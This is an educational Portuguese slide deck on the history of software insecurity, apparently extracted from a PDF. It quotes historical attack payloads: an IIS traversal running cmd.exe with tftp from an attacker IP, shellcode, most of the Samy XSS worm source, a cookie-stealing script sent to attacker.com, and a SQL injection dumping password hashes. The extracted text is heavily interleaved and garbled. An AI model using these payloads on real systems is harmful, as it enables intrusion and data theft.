A História da InSegurança
de Software
L. Gustavo C. Barbato, Ph.D.
http://lgbarbato.com
lgbarbato@{poasec,owasp}.org
Quem sou eu?
Academicamente:
• Doutor em Computação Aplicada – Segurança de Sistemas – INPE.br
(2004/2009) – Área da tese: Segurança de Software
• Mestre em Computação Aplicada – Segurança de Sistemas – INPE.br
(2002/2004) - Área da dissertação: Detecção de Instrusão
• Bacharel em Ciência da Computação – FAI-mg.br (1998/2001)
Profissionalmente:
• Fundador do PoaSec (2010/atual)
• Membro do Comitê de Capítulos do OWASP e líder/fundador do capítulo de
Porto Alegre (2010/atual)
• Professor de Segurança de Aplicações na Unisinos.br (2010/atual)
• Membro do time Global de Segurança da Dell.com (2009/atual)
• Consultor de Segurança – Trustwave.com (2007/2009)
• Pesquisador de Segurança – CTI.gov.br (2004/2007)
• Professor de Segurança na Graduação e Pós – IBTA.com.br (2004/2007)
• Analista de Segurança – INPE.br (2002-2004)
• Desenvolvedor de Software e Administrador de Redes – Liveware.com.br
(2000/2002)
Mais informações: http://lgbarbato.com
2
A História da InSegurança de Software ...
Por muito tempo, os mesmos problemas de segurança de software vêm
se repetindo causando enormes impactos financeiros a empresas além
situações constrangedoras a usuários quando seus dados pessoais são
comprometidos. Soluções de software são disponibilizadas sem o
menor cuidado com segurança fazendo com que os usuários sejam
vítimas de produtos concebidos sem qualidade. Tais acontecimentos são
causados, dentre vários motivos que serão abordados, pela falta de
conhecimento profundo sobre a arquitetura que será adotada na
solução, não levando em consideração, em muitos casos, que o próprio
sistema operacional pode contribuir significativamente na subversão de
um recurso computacional desenvolvido. Portanto, nesta apresentação
discutiremos algumas questões importantes que não vêm sendo
consideradas apropriadamente desde o advento da Internet e que
comprometem até protocolos de rede.
3
Quantos recursos
computacionais
vocês conhecem que
não possuem
software embutido?
• GARTNER
– 75% das brechas de segurança são facilitadas
pelas aplicações
• NIST
– Estima 92%
Em aplicações desenvolvidas sem segurança no SDLC:
• 1 vulnerabilidade a cada 9 linhas de código
• 1 vulnerabilidade HIGH a cada 33 linhas de código
• 1 vulnerabilidade CRITICAL a cada 70 linhas de código
Fonte: http://www.cigital.com/whitepapers/dl/Addressing_Software_Assurance_in_the_Federal_Acquisition_Process.pdf
Há quanto tempo isso acontece?
“No dia 2 de novembro de 1988, Robert Tappan Morris, estudante da
Universidade Cornell, estava no MIT (Instituto Tecnológico de Massachusetts)
distribuindo o que seria considerado o primeiro código malicioso a se
espalhar pela internet. O “Morris worm”, como ficou conhecido...”
“Para se espalhar, a praga tirava proveito de brechas de segurança existentes
em softwares como o sendmail – responsável pelo envio de correio eletrônico
– e o fingerd – um fornecedor de informações de usuários.”
Fonte: http://g1.globo.com/Noticias/Tecnologia/0,,MUL846193-6174,00.html
6
Filosofia dos Ataques
Fonte: CERT/CC
7
(1997-1998) DoS
MSG_OOB (Out-Of-Band)
= TCP + URG bit
WinNuke
Sistemas afetados:
Windows 2000,
Windows 95,
Windows 98,
Windows Me,
Windows NT
Mais informações:
1 - fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
2 - connect(fd,(struct sockaddr *)&dest,16);
3 - send(fd,message, strlen(message), MSG_OOB);
Mais detalhes: http://insecure.org/sploits/windows.OOB.DOS.html
http://www.symantec.com/security_response/writeup.jsp?docid=2002-082014-4035-99
(1998-1999) Defacement
Fonte: https://www.blackhat.com/presentations/bh-usa-00/Munge_Jericho_Punkis/munge_jericho_punkis.ppt 9
Mais informações: http://insecure.org/sploits/Microsoft.frontpage.insecurities.html
(1999-2000) IIS – Directory Traversal / Unicode
•
•
http://SITE/../../../../winnt/system32/cmd.exe
http://SITE/../../../../windows/system32/cmd.exe
– ?/c+(QUALQUER COMANDO)
– ?/c+dir
– ?/c+echo+MENSAGEM+>+c:\InetPub\wwwroot\index.html
– ?/c+tftp%20-i%20(IP_DO_ATACANTE)%20get%20ARQUIVO%20c:\DESTINO\ARQUIVO
UNICODE
%2e%2e%2f
%2e%2e/
..%2f
Used
1byte
2 bytes
3 bytes
"/"
0xxxxxxx
110xxxxx 10xxxxxx
1110xxxx 10xxxxxx 10xxxxxx
..%c0%af
..%e0%80%af
../
../
../
Codificado
%25%32%66
%25%35f
%252f
%252F
Binário
00101111
11000000 10101111
11100000 10000000 10101111
Hexa ASCII
%2f /
%2f /
%2f /
%2F /
Decimal
47
49327
14713007
Hex a
2F
C0 AF
E0 80AF
../
../
Fonte: http://webhacking.org.ua/042.htm
10
Mais informações: http://www.securityfocus.com/bid/1806/info
(2001-2002) Shatter attack
Algoritmo do Shatter de forma resumida: (há várias formas de explorar)
Colocar um código que deseja ser executado …
BYTE codigo_executavel[]="\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77
\xFF\xD1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
LRESULT WINAPI SendMessage
… em um( __in
endereço
conhecido
permita
escrita
…__in LPARAM lParam );
HWND hWnd,
__in UINT que
Msg, __in
WPARAM
wParam,
BOOL WINAPI PostMessage
( __in_opt HWND hWnd, __in UINT Msg, __in WPARAM wParam, __in LPARAM lParam );
long endereco_conhecido = 0x77ed7484; // Known Writeable Space Or Global Space
Encontrar handles automaticamente?
Algoritmo Básico:
1,2 - handle=FindWindow
(NULL, “Título dapassando
Janela”);
1…
– GetCursorPos
(&Posicao_Mouse);
e enviar uma
mensagem WM_TIMER para
um processo privilegiado
o
2 – handle = WindowFromPoint (Posicao_Mouse) ;
endereço do código executável como sendo o da função de callback.
3 – PostMessage (handle, WM_SETTEXT, 0, “TEXTO”);
Reveladores
de Senha?
PostMessage(handle,WM_TIMER,
wparam,&endereco_conhecido));
3 - PostMessage (handle, WM_GETTEXT, 256, variavel);
Fonte: http://web.archive.org/web/20060904080018/http://security.tombom.co.uk/shatter.html
Mais informações: https://technet.microsoft.com/en-us/security/bulletin/ms02-071
(2002-2003) Buffer Overflow via TCP
hr=CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRI
TE, L"C:\\1234561111111111111111111111111.doc", 1, &qi);
DCE RPC/DCOM
Blaster
Função usada para criar um objeto COM no RPC Server a partir de um caminho de arquivo
O PROBLEMA:
GetMachineName (Algoritmo que a função segue quando recebe as solicitações)
Sistemas afetados:
1. Alocar 32 bytes na stack para guardar o nome do servidor …
• pois
tamanho máximo de nome de máquina NETBIOS é 16 bytes que codificados
Windows
NT®o4.0,
geram
32 bytes
(16 bytes * 2)
Windowsem
NTUnicode
4.0 Terminal
Services
Edition,
Windows 2000,
2. Traduzir
Windows
XP,o nome do servidor para:
• L"\\servername\c$\1234561111111111111111111111111.doc"
Windows
Server™ 2003
3. Procurar
por contra-barra (\ 0x5c) ou terminador de string (\0) no servername até o
Mais
informações:
último byte ...
https://technet.microsoft.com/en-us/security/bulletin/ms03-026
• mas caso tais condições de parada não sejam satisfeitas e se o dado enviado for
Fonte: http://www.securitypronews.com/2003/0814.html
maior que o buffer acima suporta, ocorre o buffer overflow porque nenhuma
Mais informações: http://www.giac.org/paper/gcih/591/analysis-windows-rpc-dcom-buffer-overflow-vulnerabilitychecagem prévia de capacidade de armazenamento era realizada.
12
manual-exploits-worms/104608
(2003-2004) Buffer Overflow via UDP
Microsoft SQL Server Resolution Service Slammer
Sistemas afetados:
Microsoft® SQL Server™ 2000
Algo do tipo:
char buffer[60];
char**request;
SOCKETs;
...
Algoritmo:
recv(s,request,2048,0);
swicth(++(*request)){
1. Quando o primeiro byte do pacote é 0x04:
(procurar chave no registro)
case 0x04:
• HKLM\Software\Microsoft\Microsoft SQL Server\<?>\MSSQLServer\CurrentVersion
strcpy(buffer,++(*request));
• Se 0x04 0x4D 0x53 0x53 0x51 0x4C 0x53 0x45 0x52 0x56 0x45
0x52 então
... Server\MSSQLSERVER\MSSQLServer\
HKLM\Software\Microsoft\Microsoft SQL
//Fonte: http://www.h2hc.org.br/repositorio/2009/files/Nelson.br.pdf
CurrentVersion
2. 0x04 + 96 bytes = era possível explorar o Buffer Overflow
• A função que tratava os dados não estava preparada para receber mais que
60bytes depois do 0x04 e nem validava tal situação
Fonte: https://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-litchfield.pdf
Mais informações: http://pen-testing.sans.org/resources/papers/gcih/support-cdi-port-1434-sql-server-resolution-service-101132
13
(2004-2005) Cross Site Scripting - XSS
<div id=mycode style="BACKGROUND: url('java
:
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
1. TAGS HTML como SCRIPT, IMG, BODY são conhecidas e facilmente filtradas, então é necessário
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var
AS=getQueryParams();var
utilizar outraL=AS['Mytoken'];var
TAG que permita execução de códigos scripts: DIV
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!
M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var
<div style="background:url('javascript:alert(1)')">
O=0;for(var
P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form2. Uma vez encontrada uma forma de executar comandos, uma dificuldade ao uso de aspas na
urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var
função alert por já
ter sido usado antes. getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+'
S=BF.substring(R,R+1024);return
S.substring(0,S.indexOf(BC))}function
value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var
http://ha.ckers.org/blog/20070319/samy-worm-analysis/
W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);returnFonte:
Y}function
getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval(document.all.mycode.expr)')">
XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new
ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var
AD=AC.indexOf('D'+'IV');var
AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='
most of all,
3. Depois de resolvido
, o uso do termo
javascript era filtrado, então ele dividiu a palavra em but
duas
samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var
separando-as por um ENTER (\n): java\nscript
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Myto
<div id="mycode" expr="alert('hah!')" style="background:url('java
ken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
script:eval(document.all.mycode.expr)')">
AR=getFromURL(AU,'Mytoken');var
AS=new
Fonte: https://www.owasp.org/index.php/Top_10_2010-Main
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=pro
file.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
4. Uma outra restrição encontrada era que as aspas duplas (“) eram filtradas e ele precisava utilizar
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2(
'/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function
então a situação foi subvertida através da representação decimal do caractere
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
script:eval(document.all.mycode.expr)')">
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-wwwFonte: https://net-security.org/dl/articles/WHXSSThreats.pdf
form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
14
5. http://namb.la/popular/tech.html
etc...
Fonte:
Fluxo de raciocínio do Samy vs. Restrições do Myspace durante os testes
MySpace
Samy
(String) page += "<input name='creditcard' type= 'TEXT' value=' " +
request.getParameter("CC") + " '>“;
'><script> alert (‘123’); </script>
<script> alert (‘XSS’); </script>
'><script>document.location='http://www.attacker.com/cgi<IMG SRC="javascript:alert(‘XSS');">
bin/cookie.cgi?'%20+document.cookie</script>
<IMG SRC=JaVaScRiPt:alert(‘XSS')>
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#11
4;&#105;&#112;&#116;&#58;&#97;&#108;&#101;
&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;
&#41;>
<BODY BACKGROUND="javascript:alert('XSS')">
Mais informações: http://ha.ckers.org/xss.html
(2005-2006) Arbitrary Code Execution
#28 Mozilla Multiple Product Window Navigator Object Arbitrary Code Execution
Month of Browser Bugs – Julho de 2006
Problema:
https://bugzilla.mozilla.org/show_bug.cgi?id=342267)
1.
Microsoft IE(Fonte:
ADODB.Recordset
COM Object Filter Property NULL Dereference
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
Microsoft IE HTML Help COM Object Image Property Heap Overflow
Microsoft IE OutlookExpress.AddressBook COM Object NULL Dereference
Mozilla Firefox iframe.contentWindow.focus() Overflow
Apple Safari DHTML setAttributeNode() NULL Dereference
Microsoft IE DirectAnimation.StructuredGraphicsControl SourceURL NULL Dereference
Microsoft IE Frameset inside Table NULL Dereference
Microsoft IE RDS.DataControl SysAllocStringLen Invalid Length
Microsoft IE DirectAnimation.DAUserData Data Property NULL Dereference
Microsoft IE Object.Microsoft.DXTFilter Enabled Property NULL Dereference
Microsoft IE HtmlDlgSafeHelper fonts Property NULL Dereference
Microsoft IE TriEditDocument URL Property NULL Dereference
Microsoft IE DXImageTransform.Microsoft.RevealTrans Transition Property NULL Dereference
KDE Konqueror replaceChild() NULL Dereference
Microsoft IE FolderItem Object NULL Dereference
Microsoft IE MHTMLFile Multiple Property NULL Dereference
Microsoft IE DXImageTransform.Microsoft.Gradient Multiple Property Stack Overflow
Microsoft IE WebViewFolderIcon setSlice Integer Overflow
Microsoft IE OWC11.DataSourceControl getDataMemberName Method Integer Overflow
Microsoft IE OVCtl NewDefaultItem Method NULL Dereference
Microsoft IE CEnroll SysAllocStringLen Invalid Length
Microsoft IE HTML Help COM Object Click Method NULL Dereference
Microsoft IE NMSA.ASFSourceMediaDescription dispValue Stack Overflow
Microsoft IE Forms Multiple Object ListWidth Property Integer Overflow
Microsoft IE Native Function Iteration NULL Dereference
Opera CSS Background Property HTTPS Memory Corruption
Microsoft IE NDFXArtEffects Multiple Property Stack Overflow
Mozilla Multiple Product Window Navigator Object Arbitrary Code Execution
Microsoft IE ADODB.Recordset SysFreeString Invalid Length
Microsoft IE Orphan Object Property Access NULL Dereference
Apple Safari KHTMLParser::popOneBlock Code Execution
Mais informações:
./js/src/jsapi.c:2697 in JS_GetProperty() which is called from
./modules/oji/src/ProxyClassLoader.cpp:80
if (!JS_GetProperty(cx, window, "navigator", &navigator))
return NS_ERROR_FAILURE;
O ClassLoader assumia que o objeto navigator nunca podia ser alterado por ser utilizado
somente para prover informações sobre a aplicação que executa o script: nome, browser, SO…
Prova de Conceito:
window.navigator = (endereco_do_codigo_arbitrario/ 2);
java.lang.reflect.Runtime.newInstance( java.lang.Class.forName("java.lang.Runtime"), 0);
• Windows: executa o calc.exe
• Linux: "touch /tmp/METASPLOIT“
• Mac OS: abre uma backdoor na porta 4444
15
http://browserfun.blogspot.com/
(2006-2008) Insufficient Transport Layer Protection
TJX
1.
2.
3.
4.
5.
Saiu procurando por redes Wi-Fi fracas
Encontrou uma de um Outlet
Se conectou na rede
Instalou um sniffer de rede
Coletou informações sensíveis incluindo senhas e dados
completos de cartões
Conseguiu dados para acessar outras redes da mesma
empresa
Coletou mais informações de dados de cartão chegando a
45.7 milhões de números durante 18 meses (há
informações que foram 90 milhões)
Causou um prejuízo de aproximadamente 1 bilhão de
dólares em 5 anos
Pegou 20 anos de prisão
Dados de cartão, considerados
altamente restritos, estavam sendo
6.
transmitidos
em claro dentro da
7.
rede
corporativa por ser
considerada
uma rede PRIVADA!!!
8.
RESULTADO?
9.
US$1 BILHÃO DE PREJUÍZO
Fontes: http://www.theregister.co.uk/2007/05/04/txj_nonfeasance/
16
http://www.roer.com/security/archive/2007/may/TJX_update_and_How_it_was_done
(2008-2010) “DLL Hijacking Flaws”
MS08-067: Server Service Vulnerability
Stuxnet
MS10-046: Windows Shell (Shortcut LNK) Vulnerability
MS10-061: Print Spooler Vulnerability
MS10-073: Windows Kernel-mode Drivers (Keyboard Layout) Vulnerability
MS10-092: Task Scheduler Vulnerability
MS10-046: Windows Shell (Shortcut LNK) Vulnerability
Vetor inicial de ataque através de USB flash drivers (pendriver).
1. Muitos computadores podem estar com Autorun desabilitado (DEVEM ESTAR)
• Por isso, um exploit 0-day foi desenvolvido para subverter esta situação
2. Uma vulnerabilidade foi encontrada relacionada ao tratamento de link(shortcuts) quando
lidos pelo Windows Explorer
• Arquivos .LNK possuem uma seção chamada File Location Info que estavam
apontando para o binário malicioso (~WTR4141.tmp) (arquivos .PIF também)
3. Em sua utilização normal, arquivos LNK apontam e carregam arquivos .CPL (Control Panel)
• Dessa forma, a função LoadLibraryW() é invocada para carregar uma DLL maliciosa
com intuito de executar o arquivo malicioso ~WTR4132.TMP
17
Fonte: http://www.esetnod32.ru/.company/.viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
(2010-2011) SQL Injection
Extracting
SQLdeHashes:
• 77 milhões
de contas
usuários comprometidas
http://www.example.com/index.php?username='; begin declare @var
• 12.3 milhões
de números de cartões de crédito
varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue
• 171 millhões
de doláres
prejuízos
varchar(255),
@i int, em
@length
int, @hexstring char(16) set @var=':' select
@xdate1=(select min(xdate1) from master.dbo.sysxlogins where password
is not
Exemplos
: null) begin while @xdate1 <= (select max(xdate1) from
master.dbo.sysxlogins where password is not null) begin select
@binvalue=(select
from master.dbo.sysxlogins
where
String query
= "SELECT * FROMpassword
accounts WHERE
custID='" +request.getParameter("id")
+ "'";
xdate1=@xdate1), @charvalue = '0x', @i=1,
@length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF' while
http://example.com/app/accountView?id='
or '1'='1
(@i<=@length) begin declare @tempint int, @firstint int, @secondint int
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'
select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select
%20=%20'1
@firstint=FLOOR(@tempint/16) select @secondint=@tempint http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&pass
(@firstint*16) select @charvalue=@charvalue + SUBSTRING
word=foo
(@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)
http://www.example.com/index.php?username=t'exec
‘ping 192.168.1.1'-select @i=@i+1 end select @var=@var+' |master..xp_cmdshell
'+name+'/'+@charvalue
from
master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select
Fonte: https://www.owasp.org/index.php/Top_10_2010-A1
isnull(min(xdate1),getdate()) from master..sysxlogins where
xdate1>@xdate1 and password is not null) end select @var as x into temp
end end –
Fonte: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
18
Fonte: http://www.wired.com/gamelife/2011/05/sony-psn-hack-losses/
Mensagem Filosófica
de Fim de Ano para Reflexão
“Na era onde a hipocrisia
tecnológica prevalece, será que
seremos vítimas daquilo que já
somos culpados?”
Gustavo Barbato – 10/12/11
19
Download

Fonte